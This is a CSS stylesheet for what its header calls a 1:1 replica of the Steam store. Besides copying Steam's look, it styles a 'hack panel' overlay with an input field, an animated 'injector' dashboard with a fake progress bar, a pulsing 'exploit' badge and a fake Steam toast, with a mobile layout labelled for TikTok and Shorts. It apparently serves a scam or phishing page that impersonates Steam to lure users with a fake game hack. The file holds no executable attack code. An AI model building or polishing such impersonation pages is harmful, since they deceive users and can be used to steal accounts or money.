/* STEAM 1:1 STORE REPLICA CSS */
@import url('https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;600;700&display=swap');

:root {
    --header-bg: #171a21;
    --main-bg: #1b2838;
    --store-nav-bg: #2a475e;
    --text-color: #c6d4df;
    --steam-blue: #66c0f4;
    --steam-green: #5c7e10;
    --discount-green: #a3d06d;
}

html, body {
    background-color: var(--main-bg);
    color: var(--text-color);
    font-family: 'Open Sans', Arial, Helvetica, sans-serif;
    margin: 0;
    padding: 0;
    overflow-x: hidden;
}

.container {
    max-width: 940px;
    margin: 0 auto;
}

/* Global Header */
.global-header {
    background-color: var(--header-bg);
    height: 104px;
    display: flex;
    align-items: center;
}

.global-header .container {
    display: flex;
    justify-content: space-between;
    align-items: center;
    width: 100%;
}

.header-left {
    display: flex;
    align-items: center;
}

.logo {
    display: flex;
    align-items: center;
    margin-right: 40px;
}

.logo img {
    height: 35px;
    margin-right: 10px;
}

.logo-text {
    font-size: 26px;
    font-weight: 700;
    color: #fff;
    letter-spacing: 2px;
}

.main-nav a {
    color: #b8b6b4;
    text-decoration: none;
    font-size: 14px;
    font-weight: 600;
    margin-right: 20px;
    text-transform: uppercase;
}

.main-nav a:hover, .main-nav a.active {
    color: #fff;
}

.header-right {
    display: flex;
    flex-direction: column;
    align-items: flex-end;
}

.btn-install {
    background-color: var(--steam-green);
    color: #fff;
    text-decoration: none;
    font-size: 11px;
    padding: 6px 15px;
    border-radius: 2px;
}

.user-actions {
    font-size: 11px;
    margin-top: 10px;
}

.user-actions a {
    color: #b8b6b4;
    text-decoration: none;
}

/* Store Navigation */
.store-nav {
    background: rgba(62, 103, 150, 0.3);
    height: 35px;
    margin-top: 30px;
}

.store-nav .container {
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 100%;
}

.store-menu a {
    color: #fff;
    text-decoration: none;
    font-size: 13px;
    font-weight: 600;
    margin-right: 15px;
    text-shadow: 0 1px 2px rgba(0,0,0,0.3);
}

.search-bar {
    background-color: #316282;
    padding: 3px;
    border-radius: 3px;
    display: flex;
}

.search-bar input {
    background: transparent;
    border: none;
    color: #0e1c25;
    padding: 2px 5px;
    font-style: italic;
    outline: none;
}

.search-bar button {
    background: var(--steam-blue);
    border: none;
    padding: 2px 5px;
    cursor: pointer;
}

/* Main Layout */
.store-main {
    display: flex;
    margin-top: 20px;
    gap: 20px;
}

.sidebar {
    width: 210px;
    flex-shrink: 0;
}

.sidebar-banner {
    width: 100%;
    margin-bottom: 15px;
}

.sidebar-links, .genre-links {
    list-style: none;
    padding: 0;
}

.sidebar-links li a {
    color: #66c0f4;
    font-size: 13px;
    font-weight: 700;
    text-decoration: none;
    display: block;
    margin-bottom: 10px;
}

.section-title {
    font-size: 12px;
    color: #56707f;
    margin-top: 25px;
    margin-bottom: 10px;
}

.genre-links li a {
    color: #7a8b9d;
    font-size: 12px;
    text-decoration: none;
    display: block;
    margin-bottom: 5px;
}

.genre-links li a:hover {
    color: #fff;
}

/* Main Content & Carousel */
.main-content {
    flex-grow: 1;
}

.featured-title {
    font-size: 14px;
    font-weight: 400;
    color: #fff;
    margin-bottom: 10px;
}

.featured-carousel {
    display: flex;
    background: #0f141a;
    box-shadow: 0 0 20px rgba(0,0,0,0.5);
    min-height: 350px;
    height: auto;
}

.featured-image {
    width: 616px;
    height: 100%;
}

.featured-image img {
    width: 100%;
    height: 100%;
    object-fit: cover;
}

.featured-details {
    padding: 15px;
    flex-grow: 1;
    display: flex;
    flex-direction: column;
}

.featured-details h3 {
    font-size: 24px;
    color: #fff;
    margin-top: 0;
}

.screenshots {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 5px;
    margin-bottom: 15px;
}

.screenshots img {
    width: 100%;
    opacity: 0.6;
}

.tagline {
    font-size: 13px;
    margin-bottom: 15px;
}

.tags span {
    background: rgba(255,255,255,0.1);
    padding: 2px 8px;
    font-size: 11px;
    margin-right: 5px;
    border-radius: 2px;
}

.price-row {
    margin-top: auto;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.price-box {
    display: flex;
    align-items: center;
    background: #000;
    padding: 2px;
}

.discount {
    background: var(--discount-green);
    color: #4c6b22;
    padding: 5px 8px;
    font-weight: 700;
    font-size: 24px;
    margin-right: 10px;
}

.original-price {
    text-decoration: line-through;
    color: #707070;
    font-size: 12px;
    margin-right: 10px;
}

.final-price {
    color: #acdbf5;
    font-size: 14px;
}

.btn-steam-action {
    background: linear-gradient( to bottom, #75b022 5%, #588a1b 95%);
    color: #d2efa9;
    border: none;
    padding: 12px 25px;
    font-weight: 800;
    font-size: 16px;
    cursor: pointer;
    animation: pulse-green 1.5s infinite alternate;
    box-shadow: 0 0 10px #75b022;
}

@keyframes pulse-green {
    from { box-shadow: 0 0 10px #75b022; transform: scale(1); }
    to { box-shadow: 0 0 20px #75b022; transform: scale(1.05); }
}

/* Glitch Badge Animation */
.glitch-badge {
    position: absolute;
    top: 15px;
    left: 15px;
    background: #ff0000;
    color: #fff;
    padding: 8px 15px;
    font-weight: 800;
    font-size: 13px;
    border-radius: 3px;
    box-shadow: 0 0 15px #ff0000;
    animation: pulse-red 0.8s infinite alternate;
    z-index: 10;
    letter-spacing: 1px;
}

@keyframes pulse-red {
    from { box-shadow: 0 0 5px #ff0000; opacity: 0.9; }
    to { box-shadow: 0 0 25px #ff0000; opacity: 1; transform: scale(1.02); }
}

/* Special Offers Grid */
.special-offers-grid {
    display: flex;
    justify-content: space-between;
    gap: 10px;
}

.offer-item {
    background: #000;
    flex: 1;
    display: flex;
    flex-direction: column;
    text-decoration: none;
    transition: transform 0.2s;
}

.offer-item:hover {
    transform: translateY(-2px);
    box-shadow: 0 0 10px rgba(102, 192, 244, 0.4);
}

.offer-item img {
    width: 100%;
    height: auto;
}

.offer-price-box {
    display: flex;
    align-items: center;
    background: #000;
}

.offer-price-box .discount {
    background: var(--discount-green);
    color: #4c6b22;
    padding: 8px 12px;
    font-weight: 700;
    font-size: 20px;
    margin-right: 0;
}

.p-col {
    display: flex;
    flex-direction: column;
    padding-left: 10px;
}

.old-p {
    text-decoration: line-through;
    color: #707070;
    font-size: 11px;
}

.new-p {
    color: #acdbf5;
    font-size: 13px;
}

/* Category Grid */
.category-grid {
    display: flex;
    gap: 10px;
}

.cat-box {
    flex: 1;
    height: 120px;
    display: flex;
    align-items: center;
    justify-content: center;
    color: #fff;
    text-decoration: none;
    font-weight: 700;
    font-size: 16px;
    text-shadow: 1px 1px 3px #000;
    transition: transform 0.2s;
    border-radius: 3px;
}

.cat-box:hover {
    transform: scale(1.05);
}

/* Sign In Promo */
.sign-in-promo {
    background: #111;
    text-align: center;
    padding: 40px;
    margin-top: 50px;
    border-top: 1px solid #363c44;
}

.btn-signin-promo {
    display: inline-block;
    background: #1a44c2;
    color: #fff;
    text-decoration: none;
    padding: 8px 30px;
    border-radius: 2px;
    margin-top: 15px;
    border: 1px solid #3a68d2;
}

/* Modern Glassmorphism Hack Panel (Overlay) */
.hack-panel {
    position: fixed;
    top: 0; left: 0; width: 100vw; height: 100vh;
    background: rgba(0, 0, 0, 0.7);
    backdrop-filter: blur(12px);
    -webkit-backdrop-filter: blur(12px);
    display: flex;
    align-items: flex-start; /* Changed from center to allow scrolling */
    justify-content: center;
    overflow-y: auto; /* Allow scroll if too tall */
    z-index: 9999;
    margin: 0;
    padding: 20px 10px;
    box-sizing: border-box;
}
.hack-panel.hidden {
    display: none !important;
}

.hack-body-wrapper {
    margin: auto; /* Magic centering trick with flex-start */
    background: rgba(23, 26, 33, 0.95);
    border: 1px solid rgba(102, 192, 244, 0.3);
    box-shadow: 0 10px 50px rgba(0, 0, 0, 0.9), 0 0 25px rgba(102, 192, 244, 0.15);
    border-radius: 12px;
    padding: 40px 30px;
    width: 100%;
    max-width: 450px;
    box-sizing: border-box;
    animation: popIn 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275) forwards;
}

@keyframes popIn {
    0% { opacity: 0; transform: scale(0.9) translateY(20px); }
    100% { opacity: 1; transform: scale(1) translateY(0); }
}

.hack-header {
    font-size: 20px;
    color: #fff;
    font-weight: 800;
    margin-bottom: 25px;
    text-align: center;
    display: flex;
    flex-direction: column;
    align-items: center;
}

.hack-panel input {
    background-color: rgba(0,0,0,0.5);
    border: 1px solid rgba(255,255,255,0.1);
    color: #fff;
    padding: 15px;
    font-size: 16px;
    border-radius: 6px;
    width: 100%;
    outline: none;
    text-align: center;
    transition: all 0.3s ease;
    box-sizing: border-box;
    font-family: inherit;
}

.hack-panel input:focus {
    border-color: var(--steam-blue);
    box-shadow: 0 0 10px rgba(102, 192, 244, 0.3);
}

.btn-steam-blue {
    background: linear-gradient(135deg, #007bff, #0056b3);
    color: #fff;
    border: none;
    padding: 15px;
    font-size: 16px;
    font-weight: 800;
    border-radius: 6px;
    cursor: pointer;
    width: 100%;
    margin-top: 15px;
    margin-left: 0;
    transition: all 0.3s ease;
    box-shadow: 0 5px 15px rgba(0, 123, 255, 0.3);
}

.btn-steam-blue:hover {
    transform: translateY(-2px);
    box-shadow: 0 8px 20px rgba(0, 123, 255, 0.5);
}

/* Injector UI Dashboard (Cleaned for Modal) */
.injector-ui {
    background: transparent;
    border: none;
    padding: 0;
    box-shadow: none;
}

.injector-header {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 25px;
}

.spinner {
    width: 30px;
    height: 30px;
    border: 3px solid rgba(102, 192, 244, 0.3);
    border-top: 3px solid #66c0f4;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin-right: 15px;
}

@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

#injector-status {
    color: #fff;
    font-size: 22px;
    letter-spacing: 2px;
    margin: 0;
    text-shadow: 0 0 10px rgba(102, 192, 244, 0.8);
}

.injector-stats {
    display: flex;
    justify-content: space-between;
    background: rgba(0,0,0,0.4);
    border: 1px solid #1a2736;
    padding: 15px;
    margin-bottom: 25px;
    border-radius: 3px;
}

.stat-box {
    text-align: center;
    flex: 1;
    border-right: 1px solid #1a2736;
}

.stat-box:last-child {
    border-right: none;
}

.stat-label {
    display: block;
    font-size: 10px;
    color: #56707f;
    margin-bottom: 5px;
    letter-spacing: 1px;
}

.stat-value {
    font-size: 14px;
    color: #66c0f4;
    font-weight: 700;
}

.progress-bar-container {
    background: #000;
    height: 25px;
    border-radius: 15px;
    border: 1px solid #2a475e;
    overflow: hidden;
    position: relative;
}

.p-bar-striped {
    height: 100%;
    width: 0%;
    background: linear-gradient(
        45deg,
        #1a44c2 25%,
        #47bfff 25%,
        #47bfff 50%,
        #1a44c2 50%,
        #1a44c2 75%,
        #47bfff 75%,
        #47bfff
    );
    background-size: 20px 20px;
    animation: moveStripes 1s linear infinite;
    transition: width 0.3s ease;
    box-shadow: 0 0 15px #47bfff;
}

@keyframes moveStripes {
    0% { background-position: 0 0; }
    100% { background-position: 20px 0; }
}

.action-log {
    text-align: center;
    color: #8f98a0;
    font-size: 13px;
    margin-top: 15px;
    font-style: italic;
}

/* =========================================
   MOBILE RESPONSIVENESS (TIKTOK / SHORTS)
   ========================================= */
.hidden-desktop {
    display: none;
}

@media screen and (max-width: 900px) {
    * {
        box-sizing: border-box !important;
    }
    
    img {
        max-width: 100%;
    }

    html, body {
        width: 100%;
        overflow-x: hidden !important;
        position: relative;
    }

    .hidden-desktop {
        display: block;
    }
    
    .container {
        width: 100% !important;
        max-width: 100vw !important;
        padding: 0 10px !important;
        overflow-x: hidden;
    }

    /* Clean up header to remove distractions and fix overlap */
    .main-nav, .store-menu, .header-right {
        display: none !important;
    }
    
    .header-left {
        display: flex;
        align-items: center;
        width: 100%;
        justify-content: flex-start;
    }

    .global-header .container {
        padding: 10px 15px !important;
        flex-direction: row;
    }
    
    .logo img {
        height: 35px;
    }
    
    .store-nav {
        height: auto !important;
        padding-bottom: 10px !important;
    }
    
    .store-nav .container {
        justify-content: center;
        padding: 10px 15px !important;
    }
    
    .search-bar {
        width: 100%;
        display: flex;
        overflow: hidden;
        margin: 0;
    }
    
    .search-bar input {
        width: 100%;
        flex-grow: 1;
        padding: 5px 10px;
    }
    
    .search-bar button {
        flex-shrink: 0;
    }

    .top-publisher-banner {
        width: 100%;
        max-width: 100vw;
        overflow: hidden;
    }
    
    .top-publisher-banner img {
        width: 100% !important;
        height: auto !important;
    }

    /* Fix the Exploit Badge */
    .glitch-badge {
        font-size: 11px;
        padding: 6px;
        width: 90%;
        left: 5%;
        text-align: center;
        top: 10px;
        box-sizing: border-box;
    }

    /* Hide the sidebar to save space */
    .store-main {
        flex-direction: column;
    }
    .sidebar {
        display: none;
    }
    
    /* Make the top banner fit */
    .top-publisher-banner img {
        height: auto;
    }
    
    /* Carousel adjustments */
    .featured-carousel {
        flex-direction: column;
    }
    .featured-image {
        flex: none;
        width: 100%;
    }
    .featured-details {
        padding: 15px;
    }
    .featured-details h3 {
        font-size: 20px !important;
        text-align: center;
    }
    .price-row {
        flex-direction: column;
        gap: 15px;
    }
    .btn-steam-action {
        width: 100%;
        padding: 15px;
        font-size: 18px;
    }
    
    /* Grid adjustments */
    .special-offers-grid, .category-grid {
        grid-template-columns: 1fr;
    }
    
    /* Hack Panel adjustments */
    .hack-panel {
        padding: 15px;
    }
    .hack-panel input {
        width: 100%;
        margin-bottom: 10px;
        box-sizing: border-box;
    }
    .btn-steam-blue {
        width: 100%;
        margin-left: 0;
        padding: 15px;
    }
    
    /* Injector Dashboard on Mobile */
    .injector-ui {
        padding: 15px;
    }
    .injector-stats {
        flex-direction: column;
        gap: 10px;
    }
    .stat-box {
        border-right: none;
        border-bottom: 1px solid #1a2736;
        padding-bottom: 10px;
    }
    .stat-box:last-child {
        border-bottom: none;
    }
    
    /* Modal adjustments */
    .modal-box {
        width: 95%;
        padding: 20px;
    }
}

/* Modal */
.modal {
    position: fixed;
    top: 0; left: 0; width: 100%; height: 100%;
    background: rgba(0,0,0,0.95);
    display: flex; 
    justify-content: center; 
    align-items: flex-start; /* Changed from center to allow scroll */
    overflow-y: auto; /* Enable vertical scrolling */
    z-index: 10000;
    padding: 20px 10px;
    box-sizing: border-box;
}

.modal-box {
    margin: auto; /* Automatically centers when possible */
    background: var(--header-bg);
    padding: 30px 20px;
    text-align: center;
    border-radius: 8px;
    width: 100%;
    max-width: 450px;
    border: 1px solid var(--steam-blue);
    box-sizing: border-box;
}

.btn-steam-green {
    background: var(--steam-green);
    color: #fff;
    padding: 15px 30px;
    border: none;
    font-weight: 700;
    font-size: 18px;
    cursor: pointer;
    width: 100%;
    margin-top: 20px;
}

.hidden { display: none !important; }

/* Footer */
.store-footer {
    background: #000;
    padding: 40px 0;
    margin-top: 100px;
}

.footer-text {
    font-size: 12px;
    color: #8f98a0;
    margin-top: 20px;
}

/* Steam Toast Notification */
.steam-toast {
    position: fixed;
    bottom: 20px;
    right: 20px;
    background: #212429;
    border: 1px solid #3d444c;
    border-top: 2px solid var(--steam-blue);
    display: flex;
    padding: 15px;
    width: 340px;
    box-shadow: 0 5px 15px rgba(0,0,0,0.6);
    z-index: 9999;
    opacity: 1;
    transition: opacity 0.3s, transform 0.3s;
    transform: translateY(0);
}

.steam-toast.hidden {
    opacity: 0;
    transform: translateY(20px);
    pointer-events: none;
}

.toast-icon {
    margin-right: 15px;
}

.toast-icon img {
    width: 30px;
    height: 30px;
    filter: grayscale(100%) brightness(200%);
}

.toast-content h4 {
    color: #fff;
    font-size: 14px;
    margin: 0 0 5px 0;
}

.toast-content p {
    color: #8f98a0;
    font-size: 12px;
    margin: 0;
    line-height: 1.4;
}
